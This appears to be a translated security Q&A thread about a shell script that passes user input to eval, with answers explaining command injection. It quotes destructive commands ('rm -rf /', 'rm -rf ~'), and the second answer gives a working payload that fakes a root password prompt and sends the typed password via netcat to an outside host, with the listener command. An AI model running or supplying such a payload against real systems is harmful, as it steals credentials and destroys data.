Vulnerabilidades de creatividad en el comando eval de unix [cerrado]

0

Estoy leyendo los exámenes anteriores para un tema de seguridad de la información y encontré esto.

#!/bin/sh
#applications launcher
X=$1
eval "$X"

"¿Crees que el programa es vulnerable a los ataques? Explica la razón de tu respuesta con un ejemplo".

Programa simple, vulnerabilidad obvia.

El único ejemplo con el que puedo responder (habilidad de programación de Unix = 0) es que la entrada del usuario puede contener comandos de Unix para dañar el sistema, algo como rm -rf /

Lo compararía con una pregunta sobre inyección de SQL y utilizando un ejemplo que dice DROP TABLE * . Es un ejemplo legítimo de la vulnerabilidad, pero es un ejemplo aburrido.

Programadores Unix / expertos en seguridad. ¿Cuáles son algunos ejemplos más divertidos / creativos para responder esta pregunta?

    
pregunta pjmil 12.06.2014 - 14:59
fuente

2 respuestas

6

Creo que te has perdido el punto de esta pregunta. Dada la redacción de la pregunta, la persona que realizó el examen podría no haber sido muy clara sobre el modelo de amenaza, a menos que haya algún material de introducción adicional para esta pregunta que no haya citado y que ofrezca más contexto.

Lo que publicaste es un programa que toma un argumento, una cadena, y ejecuta esta cadena como un programa shell ( /bin/sh ).

El punto clave es en qué contexto se llama a este programa. Hay muchos programas que ejecutan sus argumentos como un programa de shell o como un comando externo, comenzando con sh .

Si se llama al programa en el mismo límite de seguridad que la entidad que decide el argumento, no hay ninguna implicación de seguridad ya que no se cruza una barrera de seguridad.

Si el argumento es elegido por una entidad fuera del límite de seguridad que ejecuta el programa (por ejemplo, si el programa se ejecuta con privilegios adicionales a través de sudo , o si el argumento es leído por un usuario externo a través de la red) , entonces esto es una inyección trivial. No hay necesidad de ser creativo: puedes poner absolutamente cualquier código que desees allí (solo necesitas expresarlo en la sintaxis de shell). Puede acceder a todos los archivos del usuario que ejecuta el programa, modificarlos y agregar nuevos, ejecutar cualquier programa que desee, hacer uso de cualquier conexión de red disponible, etc.

Siempre que puedas ejecutar código arbitrario en un contexto privilegiado, has ganado. rm -rf / realmente no funcionará a menos que el programa se esté ejecutando como root en un sistema que no tenga prevención ad hoc rm -rf / . Algo como rm -rf ~ (eliminar todos los archivos en la casa del usuario) sería más útil si quieres causar daño. Pero, por lo general, los atacantes buscan cosas más productivas, como leer los archivos almacenados en esta cuenta o las bases de datos a las que tiene acceso, plantar una puerta trasera para poder recuperar el acceso más tarde, enviar correo no deseado o generar bitcoins, etc. p>     

respondido por el Gilles 12.06.2014 - 17:53
fuente
3
"stty -echo ; echo 'This program requires root privileges.' ; read -p 'Please enter password: ' password ; echo \$password | netcat myhost.foo 1337 ; stty echo"

Tienes que escuchar en el puerto 1337 de tu máquina:

netcat -l 1337

y se le enviará la contraseña de root de la máquina víctima (si el usuario es lo suficientemente estúpido ...).

    
respondido por el user19426 12.06.2014 - 15:33
fuente

Lea otras preguntas en las etiquetas